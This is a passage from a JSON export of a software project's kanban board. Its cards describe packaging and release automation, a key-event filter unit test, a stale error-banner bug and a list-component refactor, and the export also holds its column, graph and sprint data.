`WINGET_TOKEN` — GitHub PAT with `public_repo` scope on `fulsomenko/winget-pkgs` (fork of upstream).\n- `HOMEBREW_TAP_DEPLOY_KEY` — SSH deploy key with write access to `fulsomenko/homebrew-kanban`.\n\n## Documentation\n\nUpdate `README.md` installation section to list all install paths:\n\n```\n### Install\n\n- macOS / Linux:    brew install fulsomenko/kanban/kanban\n- Windows (choco):  choco install kanban\n- Windows (winget): winget install fulsomenko.kanban\n- Arch (AUR):       yay -S kanban\n- Nix:              nix profile install nixpkgs#kanban\n- crates.io:        cargo install kanban-cli\n```\n\nUpdate `CONTRIBUTING.md` packaging section (if it doesn't exist, create one) listing each registry, its packaging file location under `packaging/`, and where in `release.yml` the publish step lives.\n\n## Acceptance\n\n- `packaging/` directory exists with subdirectories for `aur/`, `homebrew/`, `chocolatey/`, `winget/`.\n- Existing AUR pipeline still works after the path move (verify by triggering a release or dry-running `release.yml` against a fork).\n- macOS CI matrix entries are green on `develop` HEAD.\n- Release artifacts (Linux, macOS x2, Windows zip + SHA256) are attached to v0.5.2 (or the next release after this card lands).\n- Homebrew tap `fulsomenko/homebrew-kanban` exists; `brew install fulsomenko/kanban/kanban` installs the current version on macOS and Linux.\n- Chocolatey package `kanban` exists on community.chocolatey.org; `choco install kanban` works on Windows (after first moderation passes).\n- winget manifest merged into `microsoft/winget-pkgs`; `winget install fulsomenko.kanban` works on Windows.\n- `release.yml` automates publishing to all four registries (AUR, Homebrew tap, Chocolatey, winget) on each release.\n- README and CONTRIBUTING.md updated.\n\n## Out of scope (separate future cards)\n\n- Migrating Homebrew tap → homebrew-core (gated on notability; track separately).\n- Self-hosting Homebrew bottles to avoid compile-from-source.\n- Publishing to Scoop (third Windows package manager, less ubiquitous than choco/winget).\n- Publishing to apt/dpkg or rpm/yum repositories.\n- Snap or Flatpak packaging.\n\n## Related cards / PRs\n\n- **KAN-445 / PR #267** — added Windows CI; the Windows binary it produces is reused here.\n- **KAN-450** — Nix sandbox CI gate; orthogonal but lives in the same \"make releases hermetic and broadly available\" theme.\n- **AUR pipeline** — already automated in `release.yml:81-115`; this card preserves and relocates it, doesn't replace it.",
        "due_date": null,
        "id": "21b2e425-f160-4331-bc61-2cbb4e882cd3",
        "points": null,
        "position": 208,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Publish to Homebrew, Chocolatey, winget; consolidate packaging/ directory",
        "updated_at": "2026-05-14T17:45:02.128480656Z"
      },
      {
        "card_number": 448,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-14T02:11:21.104578663Z",
        "description": "Follow-up from the 0.5.0 release audit (PR #251). The Windows key-doubling fix (windows/fix-keyevent-handling) + its generalisation to all platforms (KAN-426) is currently only exercised by integration tests on platforms where the filter is reachable (Windows CI), and is unreachable code on Linux/macOS where crossterm only emits `Press` events in standard terminal mode.\n\n## Where\n\n`crates/kanban-tui/src/events.rs:38-40` — the `if key.kind != KeyEventKind::Press { continue; }` filter inside the event loop.\n\n## Why it matters\n\nIf the filter logic is ever broken (e.g. inverted condition, wrong `KeyEventKind` variant compared), on Linux/macOS we wouldn't notice — the filter is a no-op there. The only safety net today is the new `windows-latest` CI job; an inline unit test would catch regressions on any platform.\n\nThis is genuinely a no-op for runtime behaviour today, but cheap insurance against a future refactor flipping the predicate.\n\n## Fix\n\nAdd a unit test under `#[cfg(test)]` in `events.rs` (or a small new test file if `events.rs` is already large). The test should:\n\n1. Construct `KeyEvent { kind: KeyEventKind::Press, ... }` and verify the filter passes it through.\n2. Construct `KeyEvent { kind: KeyEventKind::Release, ... }` and `KeyEventKind::Repeat` and verify both are filtered out.\n3. Ideally exercise the filter as a pure function, not via the full event loop — refactor the predicate into a helper like `fn should_process_key(kind: KeyEventKind) -> bool` if needed.\n\n## Acceptance\n\n- A test in `crates/kanban-tui/src/events.rs` (or `crates/kanban-tui/tests/event_filter_tests.rs`) that proves Press → kept, Release/Repeat → filtered.\n- The test passes on Linux (where the filter is unreachable in normal operation), giving us coverage that doesn't depend on Windows CI being healthy.\n- No production behaviour change.\n\n## Priority\n\nLow. The fix shipped in 0.5.0 is correct on paper and validated by integration tests on Windows CI. This is hardening, not a blocker.",
        "due_date": null,
        "id": "a9ad8d6f-4468-4be3-b11b-dcdc1ad2f174",
        "points": null,
        "position": 209,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Add unit test for KeyEventKind::Press filter (events.rs)",
        "updated_at": "2026-05-14T02:11:21.105637037Z"
      },
      {
        "card_number": 453,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-14T19:08:14.873490471Z",
        "description": "## Context\n\nFollow-up to KAN-328 (PR #272). The error banner system in `crates/kanban-tui/src/components/banner.rs` is set via `App::set_error(...)` (`crates/kanban-tui/src/app/mod.rs:663-669`) but is not cleared by success paths. Once an error banner appears, it persists until either:\n\n1. Another call to `set_error` / `set_success` overwrites it, or\n2. The banner TTL expires (see `Banner::is_expired`, but verify it is actually consulted from the render path — at the time of writing this card it does not appear to be wired up).\n\nThe result is that an error from a failed action stays visible on screen through subsequent successful actions, confusing the user.\n\n## Reproduction\n\n1. On a board with `active_sprint_id == None`, focus the Cards panel.\n2. Press `t` — red banner appears: \"No active sprint set for filtering\". (KAN-328 behaviour, working as intended.)\n3. Open sprint details, activate a sprint, return to cards.\n4. Press `t` — toggle succeeds (info log: \"Enabled sprint filter - showing active sprint only\"), but the red banner from step 2 is still visible on screen.\n\nThe same issue affects every handler that emits ``tracing::info!`` on success while a prior error banner is on screen — ``handle_toggle_sprint_filter`` is just where it was noticed during PR review.\n\n## Code references\n\n- ``crates/kanban-tui/src/handlers/card_handlers.rs:180-204`` — ``handle_toggle_sprint_filter``; the two ``tracing::info!`` branches (toggle on / toggle off) do not touch the banner.\n- ``crates/kanban-tui/src/app/mod.rs:663-669`` — ``set_error``, ``set_success``, ``clear_banner``.\n- ``crates/kanban-tui/src/components/banner.rs`` — ``Banner::is_expired(ttl)`` exists but the render path (``crates/kanban-tui/src/ui/mod.rs`` near line 129) currently renders unconditionally on ``ui_state.banner.is_some()``, no TTL check.\n\n## Approach options\n\n1. Per-handler clears (narrow). Add ``self.clear_banner()`` (or set a fresh ``set_success`` where appropriate) at the success branches of state-mutating handlers. Minimal change but fragile: every new handler has to remember.\n2. TTL-driven auto-dismiss (systemic). Wire ``Banner::is_expired`` into the render path so banners self-dismiss after a fixed duration (3-5 seconds feels right). Independent of handler discipline.\n3. Both. Auto-dismiss with TTL plus an explicit clear on each success path so visible feedback always matches the latest action.\n\nPreferred: option 2 first (one place, broad coverage). Layer option 1 on top only if specific flows still feel laggy after TTL is in.\n\n## Acceptance criteria\n\n- [ ] Pressing ``t`` with no active sprint still shows the error banner (regression check for KAN-328).\n- [ ] After activating a sprint and pressing ``t`` again, the stale banner is gone — either immediately on the next successful action, or via TTL within a defined window.\n- [ ] Integration test in ``crates/kanban-tui/tests/`` reproducing the sequence above and asserting the banner is cleared after the success step.\n- [ ] If the TTL approach is taken: a test that advances time (or uses a small TTL) and asserts ``ui_state.banner`` becomes ``None`` after render once expired.\n\n## Out of scope\n\n- New banner variants (Info / Warning).\n- Redesign of banner UI placement or styling.",
        "due_date": null,
        "id": "e9783f4c-df16-4a3d-a225-c3097f3473ea",
        "points": 1,
        "position": 209,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Clear stale error banner when subsequent action succeeds",
        "updated_at": "2026-05-14T19:08:14.874125980Z"
      },
      {
        "card_number": 456,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-14T19:47:37.243343790Z",
        "description": "## Goal\n\nUnify the in-app selectable lists so they all share a single component (`ListComponent`) with consistent scroll behavior, navigation, and (optionally) above/below indicators. KAN-455 (#272-ish) introduced the *pure scroll math* (`pagination::scroll_offset_to_keep_visible`) and applied it to three lists; this card finishes the architectural migration.\n\n## Background\n\n`ListComponent` (`crates/kanban-tui/src/components/generic_list.rs`) wraps a `kanban_core::SelectionState` plus a `kanban_core::pagination::Page` and exposes `navigate_up/down`, `ensure_selected_visible`, `get_render_info`, multi-select, and adjusted viewport math. The above/below indicators are NOT rendered by `ListComponent` itself — they're an opt-in caller concern handled via `scroll_indicators::render_above_indicator/below_indicator`. So adopting `ListComponent` does not force the indicator UX.\n\nToday many lists use bare `kanban_core::SelectionState` instead. Some pair it with an ad-hoc scroll offset (after KAN-455). The result: inconsistent behavior, scroll math repeated in renderers, no easy way to add features like adjusted viewport or multi-select.\n\n## Current consumers to migrate\n\nBare `SelectionState` fields (no scroll, scroll math handled externally if at all):\n\n- `app/selection.rs` — `SelectionHub`\n  - `board: SelectionState`\n  - `sprint: SelectionState` *(KAN-455 added `sprint_scroll: Cell<usize>` alongside)*\n  - `settings_config: SelectionState`\n  - `settings_config_file: SelectionState`\n  - `settings_storage: SelectionState`\n- `app/dialog_input.rs` — `DialogInputState`\n  - `import_selection: SelectionState`\n  - `priority_selection: SelectionState`\n  - `column_selection: SelectionState` *(KAN-455 added `column_scroll: Cell<usize>` alongside)*\n  - `sprint_assign_selection: SelectionState`\n  - `task_list_view_selection: SelectionState`\n  - `carry_over_sprint_selection: SelectionState`\n- `app/filter.rs` — `FilterState`\n  - `sort_field_selection: SelectionState`\n- `app/relationship.rs` — `RelationshipState`\n  - `selection: SelectionState`\n\nRaw `usize` selection that should also adopt `ListComponent`:\n\n- `filters.rs` — `FilterDialogState.item_selection: usize` *(KAN-455 added `item_scroll: Cell<usize>` alongside)*\n\nFor each, the migration replaces the `SelectionState`/`usize` with a `ListComponent`, then updates handler call sites (`.get()/.set()/.next()/.prev()` → `ListComponent` equivalents) and ensures `ensure_selected_visible(viewport_height)` is called wherever navigation happens.\n\n## Suggested refactor steps\n\n1. For each list, replace the existing selection field with a `ListComponent`. Where a `Cell<usize>` scroll offset was added by KAN-455, remove it (now subsumed by `ListComponent`).\n2. Migrate handler call sites (see `grep -rn 'selection\\.sprint\\|column_selection\\|sprint_assign_selection\\|item_selection'` etc.).\n3. Add `.ensure_selected_visible(viewport_height)` after navigation. For lists whose viewport height is only known at render time, store it the way `app.view.viewport_height` is stored for the main card list.\n4. Renderers: replace ad-hoc scroll-offset reads with `list.get_scroll_offset()` or use `list.get_render_info(viewport_height)`.\n5. Decide per-list whether to render above/below indicators (they exist already as `scroll_indicators::render_above_indicator/below_indicator`).\n6. Remove now-unused helpers — `scroll_offset_to_show` in `components/sprint_assign_list.rs:214` if no longer referenced. Consider also moving any remaining pure scroll math to `kanban_core::pagination`.\n\n## What KAN-455 left in place that this card should consume\n\n- Pure function `kanban_core::pagination::scroll_offset_to_keep_visible(current, selected, viewport_height) -> usize` (added in KAN-455). `Page::scroll_to_visible` already delegates to it. `ListComponent` transitively uses it via `Page`.\n\n## Out of scope\n\n- Visual redesign of any list.\n- Adding above/below indicators where they don't already appear.\n- Changing keybindings or navigation semantics.\n\n## Acceptance\n\n- No `SelectionState` field remains for lists rendered as a paragraph or list widget. (Standalone single-selection state — e.g. radio dialogs — may stay if they have no scroll.)\n- All lists scroll with the same minimal-scroll behavior already used by the main card list.\n- All existing tests pass; new tests cover at least one migration per state struct touched.\n\n## Notes from KAN-455 review\n\nIssues raised during review of KAN-455 (PR #273) that were deferred here because the `ListComponent` migration supersedes them:\n\n- **Renderer duplication.** `board_detail.rs::render_board_sprints_list/render_board_columns_list` and `filter_popup.rs::render_filter_sprints_section` each contain ~8 lines of identical scroll boilerplate (read `Cell` → call `scroll_offset_to_keep_visible` → write `Cell` → `Paragraph::scroll`). Migrating to `ListComponent` removes this duplication wholesale.\n- **Heterogeneous list in filter popup — design decision needed.** The sprints section in the filter popup is not a flat list: it has a title line, an unassigned-sprints checkbox row, a separator, then the sprint rows. Today this is handled by a `selected_line_idx` translation inside the renderer (item_selection 0 → line 1, k ≥ 1 → line k+2). When migrating, decide how to model this in `ListComponent`:\n  - Option A: one `ListComponent` for the sprints only; render decorative rows (title, separator, unassigned) outside the list. Cleanest, requires a small change to which `Paragraph` block gets `.scroll(...)`.\n  - Option B: a single `ListComponent` over all rows (treating decorative rows as non-selectable). Requires extending `ListComponent` to support non-selectable entries.\n  Option A is recommended.\n- **`as u16` cast on scroll offset.** All three renderers (and the prior-art sites in `ui/dialogs/cards.rs:104` and `components/selection_dialog.rs:369`) cast `usize` → `u16` when feeding `Paragraph::scroll((scroll, 0))`. For lists > 65535 items this truncates silently. The migration should pick a consistent strategy — likely `u16::try_from(scroll).unwrap_or(u16::MAX)` — and apply it across every site that ends up calling `Paragraph::scroll`.\n- **Section-reset test.** `FilterDialogState::next_section/prev_section` reset `item_scroll` to 0 today. The migration removes `item_scroll` (it becomes the `ListComponent`'s internal scroll offset), but the *behavior* — section changes reset the sprints panel to top — must be preserved. Add a test that exercises this through the new abstraction.",
        "due_date": null,
        "id": "2eda4bc3-f03d-4a26-acbc-d7ccb5a44dd7",
        "points": null,
        "position": 210,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Migrate all SelectionState-backed lists to ListComponent",
        "updated_at": "2026-05-14T20:07:41.393131408Z"
      }
    ],
    "columns": [
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "created_at": "2025-10-10T08:47:57.834219Z",
        "id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "name": "TODO",
        "position": 0,
        "updated_at": "2025-10-30T18:52:12.943695Z",
        "wip_limit": null
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "created_at": "2025-10-16T20:32:48.444384Z",
        "id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "name": "Doing",
        "position": 1,
        "updated_at": "2025-10-30T18:52:12.943694Z",
        "wip_limit": null
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "created_at": "2025-10-16T20:32:54.509367Z",
        "id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "name": "Complete",
        "position": 2,
        "updated_at": "2025-10-30T18:52:12.692465Z",
        "wip_limit": null
      }
    ],
    "graph": {
      "cards": {
        "edges": [
          {
            "archived_at": null,
            "created_at": "2026-04-27T08:34:58.455681782Z",
            "direction": "Directed",
            "edge_type": "ParentOf",
            "source": "626f228c-2598-4a52-b022-9133e185c43f",
            "target": "c4658b76-e0dd-41a5-86c7-f84334259f6b",
            "weight": null
          },
          {
            "archived_at": null,
            "created_at": "2026-04-27T08:35:22.941374100Z",
            "direction": "Directed",
            "edge_type": "ParentOf",
            "source": "626f228c-2598-4a52-b022-9133e185c43f",
            "target": "a06f4acc-70d9-49f4-bb1a-fdfd9281f42f",
            "weight": null
          },
          {
            "archived_at": null,
            "created_at": "2026-04-27T08:35:34.554673879Z",
            "direction": "Directed",
            "edge_type": "ParentOf",
            "source": "626f228c-2598-4a52-b022-9133e185c43f",
            "target": "138be5cc-f008-4f58-bc15-df865947c173",
            "weight": null
          },
          {
            "archived_at": null,
            "created_at": "2026-04-27T08:35:52.967124202Z",
            "direction": "Directed",
            "edge_type": "ParentOf",
            "source": "626f228c-2598-4a52-b022-9133e185c43f",
            "target": "200e9bcd-9654-49a0-affc-cab1866ab223",
            "weight": null
          }
        ]
      }
    },
    "sprints": [
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": null,
        "created_at": "2025-10-12T13:46:50.902284Z",
        "end_date": "2025-10-19T13:49:57.439840Z",
        "id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "name_index": 0,
        "prefix": null,
        "sprint_number": 1,
        "start_date": "2025-10-12T13:49:57.439840Z",
        "status": "Completed",
        "updated_at": "2025-10-22T08:06:37.993876Z"
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": null,
        "created_at": "2025-10-12T17:32:56.610133Z",
        "end_date": "2025-10-29T19:35:38.478143Z",
        "id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "name_index": 1,
        "prefix": null,
        "sprint_number": 6,
        "start_date": "2025-10-22T19:35:38.478143Z",
        "status": "Completed",
        "updated_at": "2025-11-02T16:56:54.693512Z"
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": null,
        "created_at": "2025-10-31T18:19:30.433027Z",
        "end_date": "2025-11-09T16:57:07.474546Z",
        "id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "name_index": 2,
        "prefix": null,
        "sprint_number": 7,
        "start_date": "2025-11-02T16:57:07.474546Z",
        "status": "Completed",
        "updated_at": "2025-11-17T22:39:18.511843Z"
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": null,
        "created_at": "2025-11-17T22:38:49.479432Z",
        "end_date": "2025-11-24T22:44:07.121256Z",
        "id": "a61d4a55-5870-4493-9015-9854d8f583cf",
        "name_index": 3,
        "prefix": null,
        "sprint_number": 8,
        "start_date": "2025-11-17T22:44:07.121256Z",
        "status": "Completed",
        "updated_at": "2025-12-04T22:00:02.074471Z"
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": null,
        "created_at": "2025-11-27T21:01:26.827434Z",
        "end_date": "2025-12-11T22:00:26.140257Z",
        "id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
        "name_index": 4,
        "prefix": null,
        "sprint_number": 9,
        "start_date": "2025-12-04T22:00:26.140257Z",
        "status": "Completed",
        "updated_at": "2025-12-15T20:34:09.695198Z"
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": null,
        "created_at": "2025-12-15T20:35:08.638628Z",
        "end_date": "2025-12-26T23:39:23.797322Z",
        "id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "name_index": 5,
        "prefix": "KAN",
        "sprint_number": 10,
        "start_date": "2025-12-19T23:39:23.797322Z",
        "status": "Completed",
        "updated_at": "2026-01-10T15:30:06.674Z"
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": null,
        "created_at": "2025-12-23T00:28:48.615812Z",
        "end_date": "2026-02-09T05:00:53.804547Z",
        "id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
        "name_index": 6,
        "prefix": "KAN",
        "sprint_number": 11,
        "start_date": "2026-02-02T05:00:53.804547Z",
        "status": "Completed",
        "updated_at": "2026-03-16T20:20:25.738629940Z"
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": null,
        "created_at": "2026-03-24T21:06:31.887486443Z",
        "end_date": "2026-04-01T00:22:48.977470164Z",
        "id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
        "name_index": 7,
        "prefix": "KAN",
        "sprint_number": 12,
        "start_date": "2026-03-25T00:22:48.977470164Z",
        "status": "Completed",
        "updated_at": "2026-04-04T23:30:30.473096251Z"
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": "CAT",
        "created_at": "2026-04-04T23:32:51.020220473Z",
        "end_date": "2026-04-13T21:45:03.426294020Z",
        "id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "name_index": 8,
        "prefix": "KAN",
        "sprint_number": 13,
        "start_date": "2026-04-06T21:45:03.426294020Z",
        "status": "Completed",
        "updated_at": "2026-04-27T08:37:13.963224317Z"
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": null,
        "created_at": "2026-04-27T08:37:40.108542522Z",
        "end_date": "2026-05-06T04:53:39.950533765Z",
        "id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
        "name_index": 9,
        "prefix": "KAN",
        "sprint_number": 14,
        "start_date": "2026-04-29T04:53:39.950533765Z",
        "status": "Completed",
        "updated_at": "2026-05-07T21:57:41.497519412Z"
      },
      {
        "board_id": "e119c091-e1fa-4596-9bc7-038ceab6adec",
        "card_prefix": null,
        "created_at": "2026-05-07T21:58:34.417612798Z",
        "end_date": "2026-05-18T20:17:55.568731397Z",
        "id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "name_index": 10,
        "prefix": "KAN",
        "sprint_number": 15,
        "start_date": "2026-05-11T20:17:55.568731397Z",
        "status": "Active",
        "updated_at": "2026-05-11T20:17:55.568733091Z"
      }
    ]
  }
}